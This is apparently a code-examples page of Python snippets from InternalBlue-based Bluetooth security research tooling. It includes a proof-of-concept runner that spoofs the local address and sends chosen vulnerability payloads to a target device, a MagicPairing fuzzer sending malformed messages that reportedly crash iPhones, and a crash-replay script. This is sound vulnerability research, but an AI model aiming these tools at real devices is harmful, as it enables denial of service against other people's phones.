Пример #1
0
def main():
    internalblue = iOSCore()

    # let user choose device if more than one is connected
    devices = internalblue.device_list()
    if len(devices) > 1:
        i = options("Please specify device: ", [d[2] for d in devices], 0)
        internalblue.interface = internalblue.device_list()[i][1]
    else:
        internalblue.interface = internalblue.device_list()[0][1]

    # let use choose the vuln
    i = options("Please choose your vuln: ", [v["description"] for v in VULNS], 0)

    vuln = VULNS[i]

    if not internalblue.connect():
        log.critical("No connection to internalblue device.")
        sys.exit(-1)

    # if the vuln requires an address change, ask for the address
    if "addr_change" in vuln and vuln["addr_change"]:
        change_addr = input("This PoC requires the Bluetooth address to be changed, " + 
                "please provide it: ")
        change_addr = bd_addr_to_bytes(change_addr)
        internalblue.sendHciCommand(0xfc01, change_addr[::-1])

    # now we need the bd addr of the target
    target = bd_addr_to_bytes(input("Target Bluetooth address: "))

    # connect to the target
    connection = BluetoothConnection(internalblue, target, reconnect=0)
    l2cap = InternalBlueL2CAP.L2CAPManager(connection)

    # in case we need an answer for one of the PoCs we listen to the given CID
    if "listen_cid" in vuln:
        l2cap.registerCIDHandler(listener, vuln["listen_cid"])

    # set the Bluetooth technology [0->Classic, 1->BLE]
    connection.connection_type = vuln["tech"]
    connection.connect()

    # If the PoC includes larger messages we need to do the MagicPairing Ping trick to
    # increase the MTU. This could also be done by sending L2CAP Information Requests and
    # Responses but this would take longer.
    if vuln["mtu"]:
        log.info("Sending MagicPairing Ping to increase L2CAP MTU")
        l2cap.sendData(bytes.fromhex("F00000"), 0x30)

    desc = vuln["description"]
    log.info("Executing payload for %s", desc[:desc.find("]")+1])
    if isinstance(vuln["payload"], list):
        for p in vuln["payload"]:
            l2cap.sendData(bytes.fromhex(p), vuln["cid"])
    else:
        log.info("Sending: { %s }", vuln["payload"])
        l2cap.sendData(bytes.fromhex(vuln["payload"]), vuln["cid"])

    time.sleep(1)
Пример #2
0
    def __init__(self, target):
        # set up internalblue, adapt if you need a different core or device
        self.internalblue = iOSCore(log_level=10)
        devices = self.internalblue.device_list()
        i = options("Please specify device: ", [d[2] for d in devices], 0)
        self.internalblue.interface = self.internalblue.device_list()[i][1]
        if not self.internalblue.connect():
            log.critical("No connection to internalblue device")
            sys.exit(-1)

        # for MP it might make sense to change this to a known device address
        # as unknown addresses cause the receiving iPhone to crash constantly
        # as long as Apple does not fix these NULL pointer derefs
        # self.internalblue.sendHciCommand(0xfc01, bytes.fromhex("cafebabe1337"))

        # set up BT connection to the target
        self.connection = BluetoothConnection(self.internalblue,
                                              target,
                                              reconnect=0)
        self.connection.connect()

        self.fuzzer = None
        self.connection.connection_callback = self.init_fuzzer()
Пример #3
0
    tech = _BLE

internalblue = iOSCore(log_level=10)

# let user choose device is more than one is connected
devices = internalblue.device_list()
i = options("Please specify device: ", [d[2] for d in devices], 0)
internalblue.interface = internalblue.device_list()[i][1]

# setup sockets
if not internalblue.connect():
    log.critical("No connection to internalblue device.")
    sys.exit(-1)

connection = BluetoothConnection(internalblue,
                                 bytes.fromhex(bd_addr),
                                 reconnect=0)
l2cap_mgr = InternalBlueL2CAP.L2CAPManager(connection)

# open crash file
cf = open(crashfile, "r")
crash = cf.read()
cf.close()

# parse crash file
crash = crash.split("\n")
# parse crash message
first = crash[1].find("'") + 1
second = crash[1].find("'", first)
msg = crash[1][first:second]
log.info("Got crash file that should result in the following error: %s", msg)
Пример #4
0
class MPFuzzer:
    # MagicPairing Message Type / Opcodes
    MP_MESSAGE_TYPE_HINT = 1
    MP_MESSAGE_TYPE_RATCHETAESSIV = 2
    MP_MESSAGE_TYPE_AESSIV = 3
    MP_MESSAGE_TYPE_RATCHET = 4
    MP_MESSAGE_TYPE_PING = 0xf0
    MP_MESSAGE_TYPE_STATUS = 0xff
    # MagicPairing Key Type Fields
    MP_KEY_TYPE_HINT = 0x10
    MP_KEY_TYPE_NONCE = 0x20
    MP_KEY_TYPE_UNKNOWN = 0x40
    MP_KEY_TYPE_AESSIV = 0x80
    MP_KEY_TYPE_RATCHET = 0x100

    def __init__(self, target):
        # set up internalblue, adapt if you need a different core or device
        self.internalblue = iOSCore(log_level=10)
        devices = self.internalblue.device_list()
        i = options("Please specify device: ", [d[2] for d in devices], 0)
        self.internalblue.interface = self.internalblue.device_list()[i][1]
        if not self.internalblue.connect():
            log.critical("No connection to internalblue device")
            sys.exit(-1)

        # for MP it might make sense to change this to a known device address
        # as unknown addresses cause the receiving iPhone to crash constantly
        # as long as Apple does not fix these NULL pointer derefs
        # self.internalblue.sendHciCommand(0xfc01, bytes.fromhex("cafebabe1337"))

        # set up BT connection to the target
        self.connection = BluetoothConnection(self.internalblue,
                                              target,
                                              reconnect=0)
        self.connection.connect()

        self.fuzzer = None
        self.connection.connection_callback = self.init_fuzzer()

    def init_fuzzer(self):
        self.fuzzer = OTAFuzzer(connection=self.connection,
                                prepare_fn=self.prepare,
                                reception_handler_fn=self.reception_handler,
                                CID=0x30,
                                generator_fn=self.generator)

    def fuzz(self):
        while self.fuzzer == None:
            log.info(
                "Waiting for successful connection before starting to fuzz")
            time.sleep(1)
        self.fuzzer.fuzz()

    def is_finished(self):
        return self.fuzzer.finished

    def reception_handler(self, data):
        log.info("MP Data: " + binascii.hexlify(data).decode("utf-8"))

    def prepare(self):
        # not really required but seems to increase the L2CAP MTU on the receiver side which
        # might be an issue for longer key-type MP messages
        self.internalblue.sendH4(0x02,
                                 bytes.fromhex("0B200A00060001000A0B02000200"))
        self.internalblue.sendH4(
            0x02, bytes.fromhex("0B2010000C0001000B0D08000200000080020000"))
        self.internalblue.sendH4(0x02,
                                 bytes.fromhex("0B200A00060001000A0C02000300"))
        self.internalblue.sendH4(
            0x02,
            bytes.fromhex("0B201400100001000B1B0C00030000001000000000000100"))
        time.sleep(0.5)

    def generator(self):
        # randomly decide what message type should be sent
        mpType = random.choice([0x01, 0x02, 0x04, 0x0b, 0xf0, 0xff])
        data = self.create_MP_message_with_random_quality(mpType)
        log.info("Fuzzing(c=" + chr(mpType) + "):" +
                 binascii.hexlify(data).decode("utf-8"))
        if len(data) > 1026:
            log.info("Payload too long, iPhone will reject, cutting it...")
            data = data[:1026]
        return data

    def create_key_with_type(self, ktype, length=0, length_field=0):
        # type, lenght, value
        buf = p16(ktype) + p16(length_field)
        buf += os.urandom(length)
        return buf

    def create_MP_message_with_random_quality(self, mpType):
        # there are five choices we can make regarding the quality of the packet we generate
        # 1. the packet contains completely valid data (except for key material and encrypted
        #       content)
        # 2. the packet contains malformed length fields
        # 3. the packet contains data fields with wrong lengts (this is not the same as 2
        #       as macOS sometimes assumes the lenght of a key)
        # 4. the packet contains different key material than the type expects
        # 5. the packet contains more/less keys than specified
        quality = random.choice([1, 2, 3, 4, 5])
        buf = b""
        if quality <= 3:
            if mpType == self.MP_MESSAGE_TYPE_HINT:
                # type hint, version 01
                buf += b'\x01\x01'
                log.info(chr(quality))
                # three key entries for valid hint messages
                buf += b'\x03'
                if quality == 1:
                    _hint_len_field = _hint_len = 0x10
                    _nonce_len_field = _nonce_len = 0x10
                    _ratchet_len_field = _ratchet_len = 0x04
                elif quality == 2:
                    _hint_len = 0x10
                    _nonce_len = 0x10
                    _ratchet_len = 0x04
                    _hint_len_field = randrange(0x00, 0xffff)
                    _nonce_len_field = randrange(0x00, 0xffff)
                    _ratchet_len_field = randrange(0x00, 0xffff)
                else:
                    _hint_len = randrange(0x00, 0xff, 2)
                    _nonce_len = randrange(0x00, 0xff, 2)
                    _ratchet_len = randrange(0x00, 0xff, 2)
                    _hint_len_field = 0x10
                    _nonce_len_field = 0x10
                    _ratchet_len_field = 0x04

                buf += self.create_key_with_type(self.MP_KEY_TYPE_HINT,
                                                 length=_hint_len,
                                                 length_field=_hint_len_field)
                buf += self.create_key_with_type(self.MP_KEY_TYPE_NONCE,
                                                 length=_nonce_len,
                                                 length_field=_nonce_len_field)
                buf += self.create_key_with_type(
                    self.MP_KEY_TYPE_RATCHET,
                    length=_ratchet_len,
                    length_field=_ratchet_len_field)

            elif mpType == self.MP_MESSAGE_TYPE_RATCHETAESSIV:
                # type RatchetAESSIV version 1
                buf = b"\x02\x01"
                # there are two keys in a valid Ratchet AESSIV message
                buf += b"\x02"
                if quality == 1:
                    _raes_len_field = _raes_len = 0x36
                    _ratchet_len_field = _ratchet_len = 0x04
                elif quality == 2:
                    _raes_len = 0x36
                    _ratchet_len = 0x04
                    _raes_len_field = randrange(0x00, 0xffff)
                    _ratchet_len_field = randrange(0x00, 0xffff)
                elif quality == 3:
                    _raes_len = randrange(0x00, 0xff, 2)
                    _ratchet_len = randrange(0x00, 0xff, 2)
                    _raes_len_field = 0x36
                    _ratchet_len_field = 0x04

                buf += self.create_key_with_type(self.MP_KEY_TYPE_AESSIV,
                                                 length=_raes_len,
                                                 length_field=_raes_len_field)
                buf += self.create_key_with_type(
                    self.MP_KEY_TYPE_RATCHET,
                    length=_ratchet_len,
                    length_field=_ratchet_len_field)

            elif mpType == self.MP_MESSAGE_TYPE_AESSIV:
                # type AESSIV version 1
                buf = b"\x03\x01"
                # there is only one key in a valid AESSIV message
                buf += b"\x01"
                if quality == 1:
                    _aes_len_field = _aes_len = 0x50
                elif quality == 2:
                    _aes_len = 0x50
                    _aes_len_field = randrange(0x00, 0xffff)
                elif quality == 3:
                    _aes_len = randrange(0x00, 0xff, 2)
                    _aes_len_field = 0x50

                buf += self.create_key_with_type(self.MP_KEY_TYPE_AESSIV,
                                                 length=_aes_len,
                                                 length_field=_aes_len_field)

            elif mpType == self.MP_MESSAGE_TYPE_RATCHET or mpType == self.MP_MESSAGE_TYPE_HINT:
                # type ... version 1
                buf = bytes([mpType])
                buf += b"\x01"
                # the ratchet message is not really specified and the hint message does
                # not really have any content. So just generate anything...
                buf += os.urandom(19)

            elif mpType == self.MP_MESSAGE_TYPE_STATUS:
                # type status version 1
                buf = b"\xff\x01"
                # status does not have a lenght field but we can send valid data or data
                # that is too long
                if quality == 1 or quality == 2:
                    buf += os.urandom(1)
                else:
                    buf += os.urandom(randrange(0x00, 0xff))

            elif mpType == 0x0b:
                buf = b"\x0b\x01"
                buf += os.urandom(randrange(0, 12))

        # quality type 4 and 5
        else:
            # how many keys do we want to generate?
            b_num_keys = num_keys = randrange(0x00, 0xf)
            if quality == 5:
                # specify a wrong number of key entries
                b_num_keys = randrange(0x00, 0xf0)

            keybuf = b""
            for i in range(0, num_keys):
                # which key do we want to generate
                keytype = random.choice([0x10, 0x20, 0x40, 0x80, 0x100])
                key_len = randrange(0x00, 0x18f)
                key_len_field = randrange(0x00, 0xffff)
                k = self.create_key_with_type(keytype,
                                              length=key_len,
                                              length_field=key_len_field)
                keybuf += k

            buf += bytes([mpType, 0x01])
            buf += p8(b_num_keys)
            buf += keybuf

        return buf